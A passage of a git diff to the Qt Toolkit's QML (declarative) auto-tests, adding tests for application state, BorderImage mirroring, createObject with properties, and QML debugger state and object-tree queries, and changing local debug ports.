diff --git a/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
new file mode 100644
index 0000000..91e5468
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
@@ -0,0 +1,5 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeapplication.cpp
diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
new file mode 100644
index 0000000..64f327b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include "../../../shared/util.h"
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtGui/qgraphicsview.h>
+#include <QtGui/qgraphicsscene.h>
+
+class tst_qdeclarativeapplication : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeapplication();
+
+private slots:
+ void active();
+ void layoutDirection();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeapplication::tst_qdeclarativeapplication()
+{
+}
+
+void tst_qdeclarativeapplication::active()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+ QVERIFY(item);
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ scene.addItem(item);
+
+ // not active
+ QVERIFY(!item->property("active").toBool());
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+ // active
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+ // not active again
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QVERIFY(!item->property("active").toBool());
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+#endif
+}
+
+void tst_qdeclarativeapplication::layoutDirection()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+ QVERIFY(item);
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ scene.addItem(item);
+
+ // not mirrored
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+
+ // mirrored
+ QApplication::setLayoutDirection(Qt::RightToLeft);
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft);
+
+ // not mirrored again
+ QApplication::setLayoutDirection(Qt::LeftToRight);
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+}
+
+QTEST_MAIN(tst_qdeclarativeapplication)
+
+#include "tst_qdeclarativeapplication.moc"
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
new file mode 100644
index 0000000..c673bed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
@@ -0,0 +1,7 @@
+border.left:10
+border.top:20
+border.right:30
+border.bottom:40
+horizontalTileRule:Round
+verticalTileRule:Repeat
+source:http://127.0.0.1:14446/colors.png
diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
new file mode 100644
index 0000000..5a31ae8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeborderimage/data/heart200.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
index e6543e6..d85b92a 100644
--- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
+++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
@@ -43,6 +43,8 @@
#include <QTcpServer>
#include <QTcpSocket>
#include <QDir>
+#include <QGraphicsScene>
+#include <QPainter>
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
@@ -77,12 +79,15 @@ private slots:
void clearSource();
void resized();
void smooth();
+ void mirror();
void tileModes();
void sciSource();
void sciSource_data();
void invalidSciFile();
void pendingRemoteRequest();
void pendingRemoteRequest_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QDeclarativeEngine engine;
@@ -153,6 +158,8 @@ void tst_qdeclarativeborderimage::imageSource()
QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready);
QCOMPARE(obj->width(), 120.);
QCOMPARE(obj->height(), 120.);
+ QCOMPARE(obj->sourceSize().width(), 120);
+ QCOMPARE(obj->sourceSize().height(), 120);
QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
} else {
@@ -192,6 +199,8 @@ void tst_qdeclarativeborderimage::resized()
QVERIFY(obj != 0);
QCOMPARE(obj->width(), 300.);
QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->sourceSize().width(), 120);
+ QCOMPARE(obj->sourceSize().height(), 120);
QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch);
QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch);
@@ -214,6 +223,37 @@ void tst_qdeclarativeborderimage::smooth()
delete obj;
}
+void tst_qdeclarativeborderimage::mirror()
+{
+ QString componentStr = "import QtQuick 1.0\nBorderImage { source: \"" SRCDIR "/data/heart200.png\"; smooth: true; width: 300; height: 300; border { top: 50; right: 50; bottom: 50; left: 50 } }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeBorderImage *obj = qobject_cast<QDeclarativeBorderImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ int width = obj->property("width").toInt();
+ int height = obj->property("height").toInt();
+
+ QGraphicsScene scene;
+ scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap expected = screenshot.transformed(transform);
+
+ obj->setProperty("mirror", true);
+ p_screenshot.fillRect(QRect(0, 0, width, height), Qt::white);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QCOMPARE(screenshot, expected);
+
+ delete obj;
+}
+
void tst_qdeclarativeborderimage::tileModes()
{
{
@@ -294,6 +334,7 @@ void tst_qdeclarativeborderimage::sciSource_data()
QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
+ QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
}
@@ -341,6 +382,45 @@ void tst_qdeclarativeborderimage::pendingRemoteRequest_data()
QTest::newRow("sci file") << "http://localhost/none.sci";
}
+void tst_qdeclarativeborderimage::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativeborderimage::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("mirror") << "mirror: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("cache") << "cache: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n";
+}
+
QTEST_MAIN(tst_qdeclarativeborderimage)
#include "tst_qdeclarativeborderimage.moc"
diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
new file mode 100644
index 0000000..0da3bda
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.0
+
+Item{
+ id: root
+ property QtObject declarativerectangle : null
+ property QtObject declarativeitem : null
+
+ property QtObject bindingTestObject : null
+ property QtObject bindingThisTestObject : null
+
+ Component{
+ id: a
+ Rectangle {
+ property Rectangle innerRect: Rectangle { border.width: 20 }
+ }
+ }
+ Component{
+ id: b
+ Item{
+ property bool testBool: false
+ property int testInt: null
+ property QtObject testObject: null
+ }
+ }
+
+ // test passing in bindings
+ width: 100
+ Component {
+ id: c
+ Item {
+ property int testValue
+ width: 300
+ }
+ }
+
+ Component.onCompleted: {
+ root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white", "border.width":3, "innerRect.border.width": 20});
+ root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
+
+ root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) }) // use root.width
+ root.bindingThisTestObject = c.createObject(root, {'testValue': (function(){return this.width * 3}) }) // use width of Item within 'c'
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
index 4db538e..4340fce 100644
--- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
+++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
@@ -44,6 +44,9 @@
#include <QtGui/qgraphicsitem.h>
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtDeclarative/qdeclarativeproperty.h>
+#include <qcolor.h>
#ifdef Q_OS_SYMBIAN
// In Symbian OS test data is located in applications private dir
@@ -60,6 +63,7 @@ private slots:
void null();
void loadEmptyUrl();
void qmlCreateObject();
+ void qmlCreateObjectWithProperties();
private:
QDeclarativeEngine engine;
@@ -118,6 +122,52 @@ void tst_qdeclarativecomponent::qmlCreateObject()
QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
}
+void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
+ QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QObject *testObject1 = object->property("declarativerectangle").value<QObject*>();
+ QVERIFY(testObject1);
+ QVERIFY(testObject1->parent() == object);
+ QCOMPARE(testObject1->property("x").value<int>(), 17);
+ QCOMPARE(testObject1->property("y").value<int>(), 17);
+ QCOMPARE(testObject1->property("color").value<QColor>(), QColor(255,255,255));
+ QCOMPARE(QDeclarativeProperty::read(testObject1,"border.width").toInt(), 3);
+ QCOMPARE(QDeclarativeProperty::read(testObject1,"innerRect.border.width").toInt(), 20);
+ delete testObject1;
+
+ QObject *testObject2 = object->property("declarativeitem").value<QObject*>();
+ QVERIFY(testObject2);
+ QVERIFY(testObject2->parent() == object);
+ //QCOMPARE(testObject2->metaObject()->className(), "QDeclarativeItem_QML_2");
+ QCOMPARE(testObject2->property("x").value<int>(), 17);
+ QCOMPARE(testObject2->property("y").value<int>(), 17);
+ QCOMPARE(testObject2->property("testBool").value<bool>(), true);
+ QCOMPARE(testObject2->property("testInt").value<int>(), 17);
+ QCOMPARE(testObject2->property("testObject").value<QObject*>(), object);
+ delete testObject2;
+
+ QObject *testBindingObj = object->property("bindingTestObject").value<QObject*>();
+ QVERIFY(testBindingObj);
+ QCOMPARE(testBindingObj->parent(), object);
+ QCOMPARE(testBindingObj->property("testValue").value<int>(), 300);
+ object->setProperty("width", 150);
+ QCOMPARE(testBindingObj->property("testValue").value<int>(), 150 * 3);
+ delete testBindingObj;
+
+ QObject *testBindingThisObj = object->property("bindingThisTestObject").value<QObject*>();
+ QVERIFY(testBindingThisObj);
+ QCOMPARE(testBindingThisObj->parent(), object);
+ QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 900);
+ testBindingThisObj->setProperty("width", 200);
+ QCOMPARE(testBindingThisObj->property("testValue").value<int>(), 200 * 3);
+ delete testBindingThisObj;
+}
+
QTEST_MAIN(tst_qdeclarativecomponent)
#include "tst_qdeclarativecomponent.moc"
diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
index a807f35..6bcb4eb 100644
--- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
+++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp
@@ -72,7 +72,7 @@ class tst_QDeclarativeDebug : public QObject
Q_OBJECT
private:
- QDeclarativeDebugObjectReference findRootObject(int context = 0);
+ QDeclarativeDebugObjectReference findRootObject(int context = 0, bool recursive = false);
QDeclarativeDebugPropertyReference findProperty(const QList<QDeclarativeDebugPropertyReference> &props, const QString &name) const;
void waitForQuery(QDeclarativeDebugQuery *query);
@@ -115,9 +115,11 @@ private slots:
void setBindingForObject();
void setMethodBody();
+ void queryObjectTree();
+ void setBindingInStates();
};
-QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context)
+QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int context, bool recursive)
{
QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
waitForQuery(q_engines);
@@ -129,7 +131,9 @@ QDeclarativeDebugObjectReference tst_QDeclarativeDebug::findRootObject(int conte
if (q_context->rootContext().objects().count() == 0)
return QDeclarativeDebugObjectReference();
- QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObject(q_context->rootContext().objects()[context], this);
+ QDeclarativeDebugObjectQuery *q_obj = recursive ?
+ m_dbg->queryObjectRecursive(q_context->rootContext().objects()[context], this) :
+ m_dbg->queryObject(q_context->rootContext().objects()[context], this);
waitForQuery(q_obj);
QDeclarativeDebugObjectReference result = q_obj->object();
@@ -163,8 +167,8 @@ void tst_QDeclarativeDebug::recursiveObjectTest(QObject *o, const QDeclarativeDe
{
const QMetaObject *meta = o->metaObject();
- QDeclarativeType *type = QDeclarativeMetaType::qmlType(o->metaObject());
- QString className = type ? type->qmlTypeName() : QString();
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(meta);
+ QString className = type ? QString(type->qmlTypeName()) : QString(meta->className());
className = className.mid(className.lastIndexOf(QLatin1Char('/'))+1);
QCOMPARE(oref.debugId(), QDeclarativeDebugService::idForObject(o));
@@ -289,12 +293,21 @@ void tst_QDeclarativeDebug::initTestCase()
QList<QByteArray> qml;
qml << "import QtQuick 1.0\n"
"Item {"
+ "id: root\n"
"width: 10; height: 20; scale: blueRect.scale;"
"Rectangle { id: blueRect; width: 500; height: 600; color: \"blue\"; }"
"Text { color: blueRect.color; }"
"MouseArea {"
"onEntered: { console.log('hello') }"
"}"
+ "property variant varObj\n"
+ "property variant varObjList: []\n"
+ "Component.onCompleted: {\n"
+ "varObj = blueRect;\n"
+ "var list = varObjList;\n"
+ "list[0] = blueRect;\n"
+ "varObjList = list;\n"
+ "}\n"
"}";
// add second component to test multiple root contexts
@@ -309,6 +322,34 @@ void tst_QDeclarativeDebug::initTestCase()
"function myMethodIndirect() { myMethod(3); }\n"
"}";
+ // and a fourth to test states
+ qml << "import QtQuick 1.0\n"
+ "Rectangle {\n"
+ "id:rootRect\n"
+ "width:100\n"
+ "states: [\n"
+ "State {\n"
+ "name:\"state1\"\n"
+ "PropertyChanges {\n"
+ "target:rootRect\n"
+ "width:200\n"
+ "}\n"
+ "}\n"
+ "]\n"
+ "transitions: [\n"
+ "Transition {\n"
+ "from:\"*\"\n"
+ "to:\"state1\"\n"
+ "PropertyAnimation {\n"
+ "target:rootRect\n"
+ "property:\"width\"\n"
+ "duration:100\n"
+ "}\n"
+ "}\n"
+ "]\n"
+ "}\n"
+ ;
+
for (int i=0; i<qml.count(); i++) {
QDeclarativeComponent component(m_engine);
component.setData(qml[i], QUrl::fromLocalFile(""));
@@ -636,14 +677,14 @@ void tst_QDeclarativeDebug::queryRootContexts()
QCOMPARE(context.debugId(), QDeclarativeDebugService::idForObject(actualContext));
QCOMPARE(context.name(), actualContext->objectName());
- QCOMPARE(context.objects().count(), 3); // 3 qml component objects created for context in main()
+ QCOMPARE(context.objects().count(), 4); // 4 qml component objects created for context in main()
// root context query sends only root object data - it doesn't fill in
// the children or property info
QCOMPARE(context.objects()[0].properties().count(), 0);
QCOMPARE(context.objects()[0].children().count(), 0);
- QCOMPARE(context.contexts().count(), 4);
+ QCOMPARE(context.contexts().count(), 5);
QVERIFY(context.contexts()[0].debugId() >= 0);
QCOMPARE(context.contexts()[0].name(), QString("tst_QDeclarativeDebug_childContext"));
@@ -710,7 +751,6 @@ void tst_QDeclarativeDebug::queryObject()
QCOMPARE(findProperty(rect.properties(), "color").value(), qVariantFromValue(QColor("blue")));
QCOMPARE(findProperty(text.properties(), "color").value(), qVariantFromValue(QColor("blue")));
-
} else {
foreach(const QDeclarativeDebugObjectReference &child, obj.children())
QCOMPARE(child.properties().count(), 0);
@@ -767,6 +807,8 @@ void tst_QDeclarativeDebug::queryExpressionResult_data()
QTest::newRow("width + 50") << "width + 50" << qVariantFromValue(60);
QTest::newRow("blueRect.width") << "blueRect.width" << qVariantFromValue(500);
QTest::newRow("bad expr") << "aeaef" << qVariantFromValue(QString("<undefined>"));
+ QTest::newRow("QObject*") << "varObj" << qVariantFromValue(QString("<unnamed object>"));
+ QTest::newRow("list of QObject*") << "varObjList" << qVariantFromValue(QString("<unknown value>"));
}
void tst_QDeclarativeDebug::tst_QDeclarativeDebugFileReference()
@@ -898,7 +940,6 @@ void tst_QDeclarativeDebug::tst_QDeclarativeDebugPropertyReference()
compareProperties(r, ref);
}
-
void tst_QDeclarativeDebug::setBindingForObject()
{
QDeclarativeDebugObjectReference rootObject = findRootObject();
@@ -970,6 +1011,162 @@ void tst_QDeclarativeDebug::setBindingForObject()
QCOMPARE(onEnteredRef.value(), QVariant("{console.log('hello, world') }"));
}
+void tst_QDeclarativeDebug::setBindingInStates()
+{
+ // Check if changing bindings of propertychanges works
+
+ const int sourceIndex = 3;
+
+ QDeclarativeDebugObjectReference obj = findRootObject(sourceIndex);
+
+ QVERIFY(obj.debugId() != -1);
+ QVERIFY(obj.children().count() >= 2);
+
+ // We are going to switch state a couple of times, we need to get rid of the transition before
+ QDeclarativeDebugExpressionQuery *q_deleteTransition = m_dbg->queryExpressionResult(obj.debugId(),QString("transitions = []"),this);
+ waitForQuery(q_deleteTransition);
+ delete q_deleteTransition;
+
+
+ // check initial value of the property that is changing
+ QDeclarativeDebugExpressionQuery *q_setState;
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),200);
+
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+
+ obj = findRootObject(sourceIndex, true);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+ // change the binding
+ QDeclarativeDebugObjectReference state = obj.children()[0];
+ QCOMPARE(state.className(), QString("State"));
+ QVERIFY(state.children().count() > 0);
+
+ QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+ QVERIFY(propertyChange.debugId() != -1);
+
+ QVERIFY( m_dbg->setBindingForObject(propertyChange.debugId(), "width",QVariant(300),true) );
+
+ // check properties changed in state
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),100);
+
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+ // check changing properties of base state from within a state
+ QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"width","height*2",false));
+ QVERIFY(m_dbg->setBindingForObject(obj.debugId(),"height","200",true));
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(),300);
+
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+ // reset binding while in a state
+ q_setState = m_dbg->queryExpressionResult(obj.debugId(),QString("state=\"state1\""),this);
+ waitForQuery(q_setState);
+ delete q_setState;
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+
+ m_dbg->resetBindingForObject(propertyChange.debugId(), "width");
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 400);
+
+ // re-add binding
+ m_dbg->setBindingForObject(propertyChange.debugId(), "width", "300", true);
+
+ obj = findRootObject(sourceIndex);
+ QCOMPARE(findProperty(obj.properties(),"width").value().toInt(), 300);
+}
+
+void tst_QDeclarativeDebug::queryObjectTree()
+{
+ const int sourceIndex = 3;
+
+ // Check if states/transitions are initialized when fetching root item
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+
+ QVERIFY(q_context->rootContext().objects().count() > sourceIndex);
+ QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[sourceIndex];
+
+ QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObjectRecursive(rootObject, this);
+ waitForQuery(q_obj);
+
+ QDeclarativeDebugObjectReference obj = q_obj->object();
+
+ delete q_engines;
+ delete q_context;
+ delete q_obj;
+
+ QVERIFY(obj.debugId() != -1);
+ QVERIFY(obj.children().count() >= 2);
+
+
+
+ // check state
+ QDeclarativeDebugObjectReference state = obj.children()[0];
+ QCOMPARE(state.className(), QString("State"));
+ QVERIFY(state.children().count() > 0);
+
+ QDeclarativeDebugObjectReference propertyChange = state.children()[0];
+ QVERIFY(propertyChange.debugId() != -1);
+
+ QDeclarativeDebugPropertyReference propertyChangeTarget = findProperty(propertyChange.properties(),"target");
+ QCOMPARE(propertyChangeTarget.objectDebugId(), propertyChange.debugId());
+
+ QDeclarativeDebugObjectReference targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(propertyChangeTarget.value());
+ QVERIFY(targetReference.debugId() != -1);
+
+
+
+ // check transition
+ QDeclarativeDebugObjectReference transition = obj.children()[1];
+ QCOMPARE(transition.className(), QString("Transition"));
+ QCOMPARE(findProperty(transition.properties(),"from").value().toString(), QString("*"));
+ QCOMPARE(findProperty(transition.properties(),"to").value(), findProperty(state.properties(),"name").value());
+ QVERIFY(transition.children().count() > 0);
+
+ QDeclarativeDebugObjectReference animation = transition.children()[0];
+ QVERIFY(animation.debugId() != -1);
+
+ QDeclarativeDebugPropertyReference animationTarget = findProperty(animation.properties(),"target");
+ QCOMPARE(animationTarget.objectDebugId(), animation.debugId());
+
+ targetReference = qvariant_cast<QDeclarativeDebugObjectReference>(animationTarget.value());
+ QVERIFY(targetReference.debugId() != -1);
+
+ QCOMPARE(findProperty(animation.properties(),"property").value().toString(), QString("width"));
+ QCOMPARE(findProperty(animation.properties(),"duration").value().toInt(), 100);
+}
+
int main(int argc, char *argv[])
{
int _argc = argc + 1;
diff --git a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
index e3f0349..c182893 100644
--- a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
+++ b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp
@@ -76,7 +76,7 @@ void tst_QDeclarativeDebugClient::initTestCase()
QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!");
QDeclarativeDebugHelper::enableDebugging();
- QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3770...");
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13770...");
new QDeclarativeEngine(this);
m_conn = new QDeclarativeDebugConnection(this);
@@ -84,7 +84,7 @@ void tst_QDeclarativeDebugClient::initTestCase()
QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::handshake()", m_conn);
QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::handshake()");
- m_conn->connectToHost("127.0.0.1", 3770);
+ m_conn->connectToHost("127.0.0.1", 13770);
QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established");
bool ok = m_conn->waitForConnected();
@@ -149,7 +149,7 @@ int main(int argc, char *argv[])
char **_argv = new char*[_argc];
for (int i = 0; i < argc; ++i)
_argv[i] = argv[i];
- _argv[_argc - 1] = "-qmljsdebugger=port:3770";
+ _argv[_argc - 1] = "-qmljsdebugger=port:13770";
QApplication app(_argc, _argv);
tst_QDeclarativeDebugClient tc;
diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
index aacdea5..0911a83 100644
--- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
+++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp
@@ -79,11 +79,11 @@ void tst_QDeclarativeDebugService::initTestCase()
QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!");
QDeclarativeDebugHelper::enableDebugging();
- QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3769...");
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13769...");
new QDeclarativeEngine(this);
m_conn = new QDeclarativeDebugConnection(this);
- m_conn->connectToHost("127.0.0.1", 3769);
+ m_conn->connectToHost("127.0.0.1", 13769);
QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established");
bool ok = m_conn->waitForConnected();
@@ -133,6 +133,10 @@ void tst_QDeclarativeDebugService::sendMessage()
client.sendMessage(msg);
QByteArray resp = client.waitForResponse();
QCOMPARE(resp, msg);
+
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::sendMessage()\" ");
